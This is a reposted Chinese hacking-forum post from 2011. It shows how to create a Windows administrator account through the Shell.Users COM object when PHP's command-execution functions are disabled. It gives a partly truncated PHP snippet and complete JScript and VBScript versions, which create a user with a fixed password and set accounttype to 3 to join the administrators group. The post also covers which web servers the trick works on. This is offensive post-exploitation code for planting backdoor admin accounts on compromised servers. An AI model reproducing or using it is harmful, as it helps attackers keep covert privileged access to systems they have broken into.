议题作者：cyberh4ck[南拳daddy]
author: 南拳daddy 转载请注明出处 hi.baidu.com/南拳daddy
09年的时候 lcx 写出了 js版 和vbs 版的shell.users 加管理员帐号的方法,后来我就想把它改成php 版,
由于对代码分析得不够准确,所以到最近才写出来,当 php执行命令的函数如exec,system,shell_exec,proc_open,passthru,popen
以及wscript.shell 组建被禁用的情况下,这也许是一个机会。
代码如下:
create($username);
$h->changepassword($password,);
$h->setting[accounttype] = 3;//这句很重要可以把用户加入administrators 组,
?>效果图如下:
对apache 搭建的web 服务器可以执行成功,iis 好像权限不够,nginx 和lighttpd 搭建的web 服务器还没有测试。
下面是 lcx 的代码
js:
var o=new activexobject( shell.users );
z=o.create(test) ;
z.changepassword(123456,)
z.setting(accounttype)=3;
vbs:
set  o=createobject( shell.users )
set z=o.create(test)
z.changepassword 123456,
z.setting(accounttype)=3
[ 本帖最后由 cyberh4ck 于 2011-5-29 14:33 编辑 ]
http://www.bkjia.com/phpjc/478819.htmlwww.bkjia.comtruehttp://www.bkjia.com/phpjc/478819.htmltecharticle议题作者：cyberh4ck[南拳daddy] author: 南拳daddy 转载请注明出处 hi.baidu.com/南拳daddy 09年的时候 lcx 写出了 js版 和vbs 版的shell.users 加管理员帐号...